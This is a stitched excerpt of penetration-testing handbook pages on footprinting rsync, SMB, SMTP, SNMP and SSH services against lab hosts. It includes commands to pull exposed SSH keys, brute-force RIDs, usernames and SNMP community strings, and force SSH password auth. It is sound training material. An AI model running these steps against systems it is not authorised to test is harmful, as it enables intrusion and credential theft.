| `xfreerdp /d:.. /u:.. /p:.. /v: /cert:ignore` | Connect with domain, ignore cert |
**The footprinting flow:** nmap for hostname/version/NLA → rdp-sec-check for encryption weaknesses → connect with found credentials via xfreerdp. Remember scans are fingerprintable (`mstshash=nmap`).
***
*Next: [WinRM](/tech/services/winrm) — Windows Remote Management and PowerShell remoting.*
# Rsync
Source: https://hackbook.dudji.com/tech/services/rsync
# RSYNC
> Rsync exists to copy files efficiently — and when it's exposed on a network with no authentication, it'll happily list its shared folders and let you pull everything down, SSH keys included. Even when it needs credentials, found passwords are worth trying for reuse.
**Protocol:** TCP · **Port:** 873
***
## What Is Rsync?
**Rsync** is a fast, efficient tool for copying files — locally or to/from remote hosts. It's best known for its **delta-transfer algorithm**, which only sends the *differences* between the source files and any older version already on the destination, minimizing data over the network. It identifies what to transfer by looking at files that changed in size or last-modified time.
That efficiency makes it a favourite for **backups and mirroring** — which is exactly why the shares it exposes so often contain sensitive data.
By default rsync runs on **TCP port 873**, and it can be configured to ride over **SSH** for secure transfers, piggybacking on an existing SSH connection.
The two scenarios you'll meet:
* **No authentication** — you can list shared folders and retrieve files directly. Common, and the quickest win.
* **Authentication required** — you need credentials. If you've recovered passwords elsewhere on the engagement, **always test them here for reuse** — a successful login can pull down files that hand you remote access.
***
## Footprinting the Service
### Scanning for Rsync
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p873 10.129.14.128
```
```
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
```
### Probing for Accessible Shares
Connect with the rsync client and list available modules (shares) — no path, just the host:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rsync -av --list-only rsync://10.129.14.128
```
```
dev Dev Folder
```
### Enumerating an Open Share
List the contents of a share you found — here, `dev`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rsync -av --list-only rsync://10.129.14.128/dev
```
```
drwxr-xr-x 4,096 2024/06/25 12:00:00 .
-rw-r--r-- 402 2024/06/25 12:00:00 backup.sh
-rw-r--r-- 1,872 2024/06/25 12:00:00 users.txt
drwx------ 4,096 2024/06/25 12:00:00 .ssh
```
A directory like `.ssh` accessible in a share is a flag — it likely holds SSH keys worth pulling down.
### Syncing Files to Your Machine
Pull the whole share down to inspect locally:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rsync -av rsync://10.129.14.128/dev ./dev-loot
```
### Rsync Over SSH
If rsync is configured to transfer over SSH, add the `-e ssh` flag — or specify a non-standard SSH port:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Rsync over SSH
rsync -av -e ssh rsync://user@10.129.14.128/dev ./dev-loot
# Non-standard SSH port
rsync -av -e "ssh -p2222" user@10.129.14.128:/path ./dev-loot
```
An unauthenticated rsync share with a `.ssh` directory is a fast path to
access — pull the private key, and you can SSH straight in as its owner. And
whenever rsync needs credentials, try any passwords you've already found:
rsync is a classic password-reuse target.
***
## Quick Reference
| Command | Purpose |
| -------------------------------------------- | --------------------------------- |
| `nmap -sV -p873 ` | Detect rsync and protocol version |
| `rsync -av --list-only rsync://` | List available shares (modules) |
| `rsync -av --list-only rsync:///` | Enumerate a share's contents |
| `rsync -av rsync:/// ./loot` | Sync a share to your machine |
| `rsync -av -e ssh user@:/path ./loot` | Transfer over SSH |
**The footprinting flow:** nmap for port 873 → list modules (no auth first) → enumerate each share → sync interesting files (watch for `.ssh`) → fall back to credentials/SSH mode, testing for password reuse.
***
*Next: [R-Services](/tech/services/r-services) — the legacy trust-based remote access suite and `.rhosts` abuse.*
# Smb
Source: https://hackbook.dudji.com/tech/services/smb
# SMB
> SMB is the protocol behind Windows file and printer sharing — and Samba is its Linux counterpart. A misconfigured share or an anonymous RPC session can leak shares, users, and domain info before you've authenticated to anything, handing you the names you need to brute-force your way in.
**Protocol:** TCP · **Port:** 445 (CIFS) · legacy NetBIOS on 137/138/139
***
## What Is SMB?
**Server Message Block (SMB)** is a client-server protocol that governs access to files, directories, and other network resources like printers and routers. A client uses it to access files or services shared on the network by an SMB server.
Before any of that happens, both parties establish a connection — over IP networks SMB rides on **TCP**, using the three-way handshake before the session is set up.
An SMB server can expose arbitrary parts of its local file system as **shares**. The hierarchy a client sees is therefore partly independent of the server's real structure, and access is governed by **Access Control Lists (ACLs)**.
### Samba and CIFS
**Samba** is the open-source SMB implementation for Linux. It implements **CIFS** (Common Internet File System), which is a specific "dialect" of SMB created by Microsoft — so Samba can talk to modern Windows systems. That's why you'll often see it written as **SMB/CIFS**.
The ports tell you which generation you're dealing with:
| Ports | Protocol |
| --------------------------- | --------------------------------------------- |
| **137, 138, 139** (TCP/UDP) | Legacy NetBIOS — older SMB over NetBIOS |
| **445** (TCP) | CIFS — modern SMB, the one you'll target most |
***
## Default Configuration
Samba is configured through `/etc/samba/smb.conf`. Filtered down, it has **global settings** (the server-wide configuration applied to all shares) and individual **share** definitions. Crucially, a share can **override** the global settings — and that's exactly where misconfigurations creep in.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/samba/smb.conf
[global]
workgroup = DEV.INFREIGHT.HTB
server string = DEVSM
log file = /var/log/samba/log.%m
max log size = 1000
server role = standalone server
map to guest = bad user
usershare allow guests = yes
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
```
***
## Dangerous Settings
Some Samba settings expose far more than the administrator intends. Ask, for each one: *what convenience does it give an employee — and what does it hand an attacker who gets in?*
| Setting | Effect | Risk |
| ----------------------------------- | ------------------------------------------ | --------------------------------------------------------------- |
| `browseable = yes` | Lets clients list available shares/folders | An attacker who gains access can browse the whole structure too |
| `read only = no` / `writable = yes` | Allows writing to the share | Attacker can drop payloads or modify files |
| `guest ok = yes` | Allows access without credentials | Anonymous access to share contents |
| `map to guest = bad user` | Maps failed logins to the guest account | Turns any bad login into anonymous access |
| `create mask` / `directory mask` | Permissions on new files | Loose masks create world-readable/writable files |
`browseable = yes` combined with `guest ok = yes` is the classic leak — anyone
can connect anonymously and enumerate every share and its contents. Add a
writable share and it becomes a payload drop.
A test share to see how these settings affect enumeration might look like:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
[notes]
comment = CheckIT
path = /mnt/notes/
browseable = yes
read only = no
writable = yes
guest ok = yes
```
After editing `smb.conf`, the service has to be restarted (`systemctl restart smbd`) for changes to take effect. Administrators can review active connections with `smbstatus`, which shows the Samba version plus who is connected, from which host, and to which share.
***
## Footprinting the Service
Nmap has plenty of SMB NSE scripts, but they can be slow and shallow — manual interaction usually surfaces far more. Start with a scan to confirm the service, then go manual.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -sC -p139,445 10.129.14.128
```
```
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: Host: DEVSM
```
### smbclient — Listing and Connecting to Shares
List the shares (a null/anonymous session needs no credentials):
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
smbclient -N -L //10.129.14.128
```
```
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
home Disk INFREIGHT Samba
dev Disk DEVenv
notes Disk CheckIT
IPC$ IPC IPC Service (DEVSM)
```
Connect to a share and browse it:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
smbclient //10.129.14.128/notes
```
```
Enter WORKGROUP\user's password:
smb: \> ls
. D 0 Tue Jun 25 12:21:43 2024
.. D 0 Tue Jun 25 12:21:43 2024
prep-prod.txt N 402 Tue Jun 25 12:21:43 2024
smb: \> get prep-prod.txt
```
Use `get` to download interesting files. smbclient also lets you run **local** system commands with a leading `!` without dropping the connection:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
smb: \> !ls -la
```
***
## RPC Enumeration
When a share alone isn't enough, **rpcclient** lets you perform MS-RPC functions against the server — passing parameters and reading back values. This is where anonymous access really leaks information.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rpcclient -U "" -N 10.129.14.128
```
Useful rpcclient queries:
| Command | Purpose |
| ------------------------- | ----------------------------- |
| `srvinfo` | Server information |
| `enumdomains` | Enumerate deployed domains |
| `querydominfo` | Domain, server, and user info |
| `netshareenumall` | Enumerate all shares |
| `netsharegetinfo ` | Info about a specific share |
| `enumdomusers` | Enumerate all domain users |
| `queryuser ` | Info about a specific user |
A typical anonymous enumeration session:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rpcclient $> enumdomusers
user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]
rpcclient $> queryuser 0x3e9
User Name : cry0l1t3
Full Name : Cry0l1t3
Home Drive : \\dev\cry0l1t3
Profile Path: \\dev\cry0l1t3\profile
```
Anonymous RPC access is dangerous because of what it reveals — once it
discloses **usernames**, those become targets for password brute-forcing. One
over-permissive setting can put the whole network at risk.
### RID Brute-Forcing
Sometimes most commands are blocked, but `queryuser ` still works by RID. You can brute-force the RID range to pull user info anyway. A Bash loop over rpcclient does the job:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
for i in $(seq 500 1100); do
rpcclient -N -U "" 10.129.14.128 \
-c "queryuser 0x$(printf '%x\n' $i)" \
| grep "User Name\|user_rid\|group_rid" && echo ""
done
```
Use the results to identify a **group's RID**, then query the whole group.
### Impacket samrdump.py
The same user enumeration is available through Impacket's `samrdump.py`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
samrdump.py 10.129.14.128
```
```
[*] Retrieving endpoint list from 10.129.14.128
[*] Looking up users in domain DEVSM
Found user: mrb3n, uid = 1000
Found user: cry0l1t3, uid = 1001
```
***
## Automated SMB Enumeration
Several tools wrap up the queries above.
### smbmap & netexec
`smbmap` shows shares and your access level on each; `netexec` (the successor to crackmapexec) does the same fast and across whole subnets:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# smbmap — shares and permissions
smbmap -H 10.129.14.128
# netexec — shares, version, signing
netexec smb 10.129.14.128 --shares
netexec smb 10.129.14.128 -u '' -p '' --shares # null session
```
```
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
home NO ACCESS INFREIGHT Samba
dev READ ONLY DEVenv
notes READ, WRITE CheckIT
IPC$ NO ACCESS IPC Service
```
### enum4linux-ng
`enum4linux-ng` (a rewrite of the older enum4linux) automates a large portion of these queries in one shot — shares, users, groups, OS info, and password policy:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
enum4linux-ng -A 10.129.14.128
```
```
=====================( Users on 10.129.14.128 )=====================
[+] Found 3 users:
mrb3n (RID 1000)
cry0l1t3 (RID 1001)
sjten (RID 1002)
==================( Shares on 10.129.14.128 )==================
notes - READ/WRITE
dev - READ
```
***
## Quick Reference
| Command | Purpose |
| ---------------------------------- | -------------------------------- |
| `nmap -sV -sC -p139,445 ` | Confirm service and version |
| `smbclient -N -L //` | List shares (null session) |
| `smbclient ///` | Connect to and browse a share |
| `rpcclient -U "" -N ` | Anonymous RPC session |
| `enumdomusers` / `queryuser ` | Enumerate users via RPC |
| `samrdump.py ` | Impacket user enumeration |
| `smbmap -H ` | Shares + permission levels |
| `netexec smb --shares` | Fast share enumeration |
| `enum4linux-ng -A ` | All-in-one automated enumeration |
**The footprinting flow:** nmap to confirm → smbclient to list/browse shares → rpcclient for users and domain info → RID brute-force if locked down → enum4linux-ng / netexec to automate and confirm.
***
*Next: [SMTP](/tech/services/smtp) — user enumeration via VRFY/EXPN and open-relay testing.*
# Smtp
Source: https://hackbook.dudji.com/tech/services/smtp
# SMTP
> SMTP is how mail moves across the internet — and a chatty or misconfigured mail server will confirm valid usernames for you and, at its worst, relay spoofed mail for anyone who asks. VRFY enumeration and open-relay testing are the two things you check every time.
**Protocol:** TCP · **Port:** 25 (and 587 for submission, 465 for SMTPS)
***
## What Is SMTP?
The **Simple Mail Transfer Protocol (SMTP)** sends email across an IP network. It's usually paired with **IMAP** or **POP3**, which handle *fetching* mail, while SMTP handles *sending*. Once an email is transmitted the connection closes, and the server forwards it on toward its destination.
By default SMTP is **unencrypted** — commands, data, and authentication all travel in plain text — so it's typically wrapped in **SSL/TLS**. To fight spam, modern servers use **ESMTP** with **SMTP-Auth**, so only authorized users can send. When people say "SMTP" today, they usually mean ESMTP.
### How Mail Flows
The journey of a message touches several agents:
1. The client (**MUA — Mail User Agent**) splits the email into a header and body and hands it to the SMTP server.
2. The server's **MTA (Mail Transfer Agent)** checks the mail for size and spam, then stores it.
3. An optional **MSA (Mail Submission Agent)**, also called a **relay server**, validates the email's origin to relieve the MTA.
4. The MTA looks up the recipient mail server's IP in **DNS**.
5. At the destination, the packets are reassembled and the **MDA (Mail Delivery Agent)** drops the message in the recipient's mailbox.
**Open relays** — servers that forward mail for anyone — are abused to send spam en masse with forged sender addresses (mail spoofing). Defenses like **DKIM** (DomainKeys Identified Mail) and **SPF** (Sender Policy Framework) exist to reject or quarantine suspicious mail.
***
## Default Configuration
A common Linux MTA is **Postfix**, configured in `/etc/postfix/main.cf`. SMTP is driven by a small set of commands that tell the server what to do:
| Command | Purpose |
| --------------- | ---------------------------------------------------------------------- |
| `HELO` / `EHLO` | Open the session and identify the client (`EHLO` is the ESMTP version) |
| `MAIL FROM:` | Specify the sender |
| `RCPT TO:` | Specify the recipient |
| `DATA` | Begin the message body (ends with a lone `.`) |
| `VRFY` | Verify whether a user exists |
| `EXPN` | Expand a mailing list to its members |
| `RSET` | Reset the session |
| `QUIT` | Close the connection |
***
## Dangerous Settings
To get past spam filters, a sender can route mail through a **relay server** that recipients trust — a known, verified SMTP server. Normally the sender must authenticate to the relay first.
The problem: administrators often don't know which IP ranges they need to permit, so to avoid breaking mail flow they permit **all** of them. That's the open-relay misconfiguration you'll find on both external and internal tests.
### Open Relay Configuration
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/postfix/main.cf
mynetworks = 0.0.0.0/0
```
`mynetworks = 0.0.0.0/0` turns the server into an open relay — it'll send mail
on behalf of anyone, from any address. That enables mass spam, but for a
pentester the real value is **spoofing**: sending convincing internal email
(phishing) and, in some setups, intercepting or reading mail.
***
## Footprinting the Service
### Nmap — Commands and Open-Relay Test
The default `smtp-commands` script uses `EHLO` to list everything the server supports:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -p25 --script smtp-commands 10.129.14.128
```
```
PORT STATE SERVICE
25/tcp open smtp
| smtp-commands: mail.inlanefreight.htb, PIPELINING, SIZE 10240000,
|_VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
```
The `smtp-open-relay` script runs 16 different tests to determine whether the server is an open relay. Add `-v` to see which tests run:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -p25 --script smtp-open-relay -v 10.129.14.128
```
```
| smtp-open-relay: Server is an open relay (16/16 tests)
```
### Telnet — Interact Directly
Use `telnet` to open a raw TCP session and drive the server by hand. Start with `HELO`/`EHLO`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
telnet 10.129.14.128 25
```
```
220 mail.inlanefreight.htb ESMTP Postfix (Ubuntu)
EHLO inlanefreight.htb
250-mail.inlanefreight.htb
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250 8BITMIME
```
### Enumerate Users with VRFY
`VRFY` asks the server whether a user exists. It doesn't always work, but when it does it's a free username oracle:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
VRFY root
```
```
252 2.0.0 root
VRFY nonexistent
550 5.1.1 : Recipient address rejected: User unknown
```
Depending on configuration, some servers return **code 252** for *every*
address — confirming users that don't actually exist. Treat 252-for-everything
as "VRFY enumeration is unreliable here." A full list of SMTP response codes
is at [serversmtp.com](https://serversmtp.com/smtp-error/).
### smtp-user-enum — Brute-Force Usernames
When `VRFY` is enabled, `smtp-user-enum` will run a wordlist through it:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
smtp-user-enum -M VRFY -U users.txt -t 10.129.14.128 -v
```
If results are flaky, increase the wait time between requests:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
smtp-user-enum -M VRFY -U users.txt -t 10.129.14.128 -v -w 15
```
The `-M` mode can also be `EXPN` or `RCPT` if `VRFY` is disabled — those verbs sometimes leak users when `VRFY` doesn't.
### Metasploit — Enumerate Users
The Metasploit auxiliary module does the same job and sometimes gets better results:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 10.129.14.128
set USER_FILE users.txt
run
```
```
[+] 10.129.14.128:25 - Users found: admin, mailadmin, root, sysadmin
```
***
## Quick Reference
| Command | Purpose |
| ---------------------------------------------- | ------------------------------- |
| `nmap -p25 --script smtp-commands ` | List supported SMTP commands |
| `nmap -p25 --script smtp-open-relay -v ` | Test for open relay (16 checks) |
| `telnet 25` → `EHLO` | Manual interaction |
| `VRFY ` | Check if a user exists |
| `smtp-user-enum -M VRFY -U -t ` | Brute-force usernames |
| `auxiliary/scanner/smtp/smtp_enum` | Metasploit user enumeration |
**The footprinting flow:** nmap for supported commands → open-relay test → telnet in and try VRFY → automate with smtp-user-enum (fall back to EXPN/RCPT if VRFY is off) → confirm with Metasploit.
***
*Next: [IMAP / POP3](/tech/services/imap-pop3) — reading mailboxes and hunting credentials in mail stores.*
# Snmp
Source: https://hackbook.dudji.com/tech/services/snmp
# SNMP
> SNMP exists to monitor and configure network devices — which means a device that speaks it will happily read out its own configuration, running processes, installed software, and sometimes credentials, to anyone who knows the community string. And that string is often just "public".
**Protocol:** UDP · **Ports:** 161 (queries) · 162 (traps)
***
## What Is SNMP?
**Simple Network Management Protocol** was built to monitor and remotely configure network devices — routers, switches, servers, printers, IoT devices, and more.
It works in two directions:
* **Queries (UDP 161):** the client actively requests information from a device's SNMP agent, and can also set values to change options and settings. The client always initiates.
* **Traps (UDP 162):** data packets the SNMP server sends to the client *unprompted* — when a configured event occurs on the device, it fires a trap to notify the client.
### OID & MIB
SNMP organizes everything into a giant hierarchical tree.
An **OID (Object Identifier)** is a node in that tree, identified by a dotted sequence of integers (e.g. `1.3.6.1.2.1.1.1.0`). The longer the chain, the more specific the information. Many nodes contain nothing but references to the nodes below them. You can look OIDs up in the [Object Identifier Registry](https://www.alvestrand.no/objectid/).
A **MIB (Management Information Base)** is a text file that makes those OIDs human-readable. It lists a device's queryable objects in a standardized tree, and for each OID gives a name, type, access rights, and description. MIBs are written in ASN.1-based ASCII. They don't contain data themselves — they explain *where* to find which information, what type it is, and what it looks like. In short: **the MIB translates the OID into something a human can understand.**
### Community Strings
Community strings act as **passwords** — they determine whether requested information can be viewed. The catch is that in the older, still-common versions, they're transmitted in plain text.
Many organizations still run **SNMPv2** because migrating to v3 is complex, even though the services need to stay up.
| Version | Authentication | Encryption | Notes |
| ----------- | --------------------- | ------------------------------------------ | ------------------------------------------------------------------ |
| **SNMPv1** | None | None — plain text | First version. Anyone on the network can read and modify data |
| **SNMPv2c** | Community string only | None — community string sent in plain text | The "c" = community-based. Security on par with v1, more functions |
| **SNMPv3** | Username + password | Yes (pre-shared key) | Far more secure, far more complex to configure |
SNMPv1 and v2c are the ones you exploit — no encryption and a single community
string standing between you and the device's full configuration. Default
strings like `public` (read) and `private` (read-write) are tried constantly
because administrators so often leave them in place.
***
## Default Configuration
The SNMP daemon's config (`/etc/snmp/snmpd.conf`) defines the basics: listening IPs and ports, the MIB/OIDs exposed, authentication, and the community strings.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/snmp/snmpd.conf
sysLocation Datacenter-1
sysContact admin@inlanefreight.htb
rocommunity public default
rwcommunity private 10.129.14.0/24
```
***
## Dangerous Settings
A handful of `snmpd.conf` directives hand over far too much:
| Setting | Risk |
| ------------------------------ | ------------------------------------------------------------------------------ |
| `rwuser noauth` | Grants access to the **full OID tree without any authentication** |
| `rwcommunity ` | Read-write access to the full OID tree, regardless of where requests originate |
| `rwcommunity6 ` | Same as above, over IPv6 |
`rwuser noauth` and a wide-open `rwcommunity` are the dangerous ones — they
grant **read-write** access to the entire device with no real restriction.
Read access leaks config; write access lets you *change* it.
***
## Footprinting the Service
Three tools cover SNMP footprinting:
* **snmpwalk** — query the OIDs and read their information
* **onesixtyone** — brute-force community string *names* (since admins name them arbitrarily)
* **braa** — once you have a string, brute-force individual OIDs to enumerate fast
### snmpwalk — Read the OID Tree
With a known community string against a no-auth version (1 or 2c), `snmpwalk` dumps the device's information:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
snmpwalk -v2c -c public 10.129.14.128
```
```
iso.3.6.1.2.1.1.1.0 = STRING: "Linux inlanefreight 5.4.0-80-generic"
iso.3.6.1.2.1.1.4.0 = STRING: "admin@inlanefreight.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "inlanefreight.htb"
iso.3.6.1.2.1.1.6.0 = STRING: "Datacenter-1"
iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "python3-pip"
iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "/usr/bin/python3 /usr/local/bin/app.py --db-pass=Sup3rS3cr3t"
```
That kind of output — system version, contact, installed packages, and **process command lines that include passwords** — is exactly what a misconfigured SNMP service leaks.
### onesixtyone — Brute-Force Community Strings
If you don't know the community string, brute-force it with `onesixtyone` and a SecLists wordlist:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt 10.129.14.128
```
```
Scanning 1 hosts, 3220 communities
10.129.14.128 [public] Linux inlanefreight 5.4.0-80-generic
10.129.14.128 [private] Linux inlanefreight 5.4.0-80-generic
```
Community strings bound to specific IPs are often named after the host, sometimes with symbols added to obscure them. In a large network of 100+ SNMP-managed servers, those labels tend to follow a **pattern** — so you can generate guesses with a tool like `crunch` to build custom wordlists.
### braa — Brute-Force OIDs
Once you have a working community string, `braa` enumerates many OIDs quickly:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
braa public@10.129.14.128:.1.3.6.*
```
```
10.129.14.128:20ms:.1.3.6.1.2.1.1.1.0:Linux inlanefreight 5.4.0-80-generic
10.129.14.128:20ms:.1.3.6.1.2.1.1.5.0:inlanefreight.htb
10.129.14.128:20ms:.1.3.6.1.2.1.25.4.2.1.2.1:/usr/bin/python3 app.py --db-pass=...
```
Configuring SNMP yourself teaches more than any tutorial — the behavior varies
a lot between setups. Spinning up a VM with snmpd and experimenting with
different community-string and access configurations is the best way to build
intuition for what you'll find in the field.
***
## Quick Reference
| Command | Purpose |
| -------------------------------------- | ------------------------------------ |
| `snmpwalk -v2c -c ` | Walk the full OID tree |
| `snmpwalk -v2c -c ` | Query a specific OID |
| `onesixtyone -c ` | Brute-force community strings |
| `braa @:.1.3.6.*` | Brute-force OIDs with a known string |
**The footprinting flow:** try default strings (`public`, `private`) with snmpwalk → brute-force the string with onesixtyone if unknown → walk the tree for system info, processes, and credentials → use braa for fast OID enumeration once you're in.
***
*Next: [SSH](/tech/services/ssh) — banner grabbing, authentication methods, and key-based access.*
# Ssh
Source: https://hackbook.dudji.com/tech/services/ssh
# SSH
> SSH is the most secure protocol you'll routinely meet — which is exactly why a foothold here matters. You rarely break SSH itself; you break in *through* it, with credentials you found elsewhere, a key left lying around, or password auth left enabled for brute-forcing.
**Protocol:** TCP · **Port:** 22
***
## What Is SSH?
**Secure Shell (SSH)** lets two computers establish an encrypted, direct connection over an otherwise insecure network, on the standard **TCP port 22**. It's primarily a Linux/Unix tool but runs on Windows too with the right software.
**SSH-2** (version 2) is the protocol you want to see — more advanced than SSH-1 in encryption, speed, stability, and security. SSH-1 is vulnerable to man-in-the-middle attacks; SSH-2 is not. The banner tells you which versions a server accepts (more on that below).
OpenSSH supports six authentication methods:
1. Password authentication
2. Public-key authentication
3. Host-based authentication
4. Keyboard-interactive authentication
5. Challenge-response authentication
6. GSSAPI authentication
Which methods are enabled shapes your approach — password auth means brute-forcing is on the table; public-key-only means you need to find a key.
***
## Default Configuration
The OpenSSH server is governed by `sshd_config`, which ships with only a handful of settings configured by default. Notably, the default config enables **X11 forwarding** — which contained a command injection vulnerability in OpenSSH **7.2p1** back in 2016.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/ssh/sshd_config (relevant defaults)
Port 22
PermitRootLogin prohibit-password
PasswordAuthentication yes
X11Forwarding yes
```
***
## Dangerous Settings
SSH is one of the most secure protocols available, but misconfigurations still open it up:
| Setting | Risk |
| ---------------------------- | ------------------------------------------------------------------------------ |
| `PasswordAuthentication yes` | Enables brute-forcing a known username for its password |
| `PermitRootLogin yes` | Lets you target `root` directly — brute-force or stolen creds land you as root |
| `PermitEmptyPasswords yes` | Accounts with blank passwords become trivial logins |
| `AllowTcpForwarding yes` | Enables port forwarding / pivoting through the host |
`PasswordAuthentication yes` is the setting that makes SSH brute-forceable.
Combined with `PermitRootLogin yes`, it means a successful guess against
`root` hands you the whole box. When key-only auth is enforced instead,
brute-forcing is off the table and you need to find a private key elsewhere on
the engagement.
***
## Footprinting the Service
### ssh-audit — Fingerprint the Server
`ssh-audit` checks both client- and server-side configuration and reports the version, supported authentication methods, and which encryption algorithms are in use — any of which can be attacked at the crypto level later:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
./ssh-audit.py 10.129.14.128
```
```
# general
(gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
(gen) software: OpenSSH 8.2p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
# key exchange algorithms
(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4
(kex) diffie-hellman-group14-sha1 -- [fail] using weak hashing algorithm
# authentication methods
(aut) password, publickey
```
The first lines reveal the **banner**, which discloses the OpenSSH version. Older versions carried vulnerabilities like **CVE-2020-14145**, which allowed an attacker to man-in-the-middle the initial connection attempt.
### Reading the Banner
You'll meet various banners during a test. By default the banner shows the **protocol version** the server accepts, then the **server version**:
| Banner | Meaning |
| ------------------------ | ------------------------------------------------ |
| `SSH-1.99-OpenSSH_3.9p1` | Accepts **both** SSH-1 and SSH-2 · OpenSSH 3.9p1 |
| `SSH-2.0-OpenSSH_8.2p1` | Accepts **SSH-2 only** · OpenSSH 8.2p1 |
A `1.99` protocol version is itself a finding — it means the server still accepts the insecure SSH-1.
### See Supported Auth Methods
The verbose connection output reveals which authentication methods the server offers:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ssh -v user@10.129.14.128
```
```
debug1: Authentications that can continue: publickey,password
```
### Specify the Authentication Method
For brute-force attempts, force a specific method with the `PreferredAuthentications` option — this keeps the client from cycling through other methods first:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ssh -o PreferredAuthentications=password user@10.129.14.128
```
***
## Quick Reference
| Command | Purpose |
| ---------------------------------------------------- | ----------------------------------------- |
| `ssh-audit.py ` | Fingerprint version, auth methods, crypto |
| `ssh -v user@` | View supported authentication methods |
| `ssh -o PreferredAuthentications=password user@` | Force password auth (for brute-forcing) |
| `nc 22` | Grab the banner manually |
**Banner reading:** `SSH--`. A `1.99` protocol version accepts insecure SSH-1; `2.0` is SSH-2 only.
**The footprinting flow:** grab the banner for version/protocol → ssh-audit for auth methods and weak crypto → check for password auth → brute-force a known user, or hunt for a private key if key-only.
***
*Next: [RDP](/tech/services/rdp) — Windows remote desktop, NLA, and credential-based access.*
# Winrm
Source: https://hackbook.dudji.com/tech/services/winrm
# WinRM
> WinRM is remote PowerShell — and if your credentials land you in the Remote Management Users group, it gives you a clean, fully-featured shell on the target. On a Windows engagement, finding open WinRM with working creds is one of the most direct paths to interactive access.
